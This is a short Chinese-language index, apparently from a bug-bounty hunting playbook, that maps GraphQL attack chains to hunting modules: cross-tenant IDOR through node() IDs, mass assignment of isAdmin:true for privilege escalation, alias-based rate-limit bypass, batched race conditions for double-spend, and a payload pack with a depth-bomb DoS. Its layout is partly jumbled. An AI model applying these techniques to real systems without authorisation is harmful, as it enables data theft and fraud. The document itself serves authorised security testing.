hunt-idor和 global-relay-ID resolvers 是 IDOR 工厂:形态相同,却没有作用域限定。链式原语:GraphQL introspection + IDOR(node(id:)resolver)→ 通过 base64 解码后的 type:id 重放访问跨租户数据。node() - ——GraphQL mutations 是 mass-assignment 磁铁:客户端发送完整 input objects,服务端直接合并。链式原语:GraphQL mutation + 额外字段(
hunt-api-misconfig、isAdmin:true)→ mass assignment → 角色提升。verified:true - ——GraphQL aliases 可在一次请求中调用同一个 mutation N 次,击穿按请求实施的速率限制。链式原语:aliased mutation + 业务逻辑缺陷 → 单次网络往返中兑现 N 张优惠券。
hunt-business-logic - ——GraphQL batching 将 N 个 mutations 合并到一个 HTTP packet,是理想的单数据包竞态载具。链式原语:GraphQL batch + race → 缺少原子更新 → 余额双花。
hunt-race-condition - ——加载 GraphQL Payload Pack:introspection query、schema-suggestion error probe、alias amplification template、depth-bomb DoS payload、batch-attack template。
security-arsenal - ——应用 Body-Diff Rule:introspection 本身只属于信息级发现;提交前必须提供具体的跨租户读取或可产生影响的 mutation PoC。
triage-validation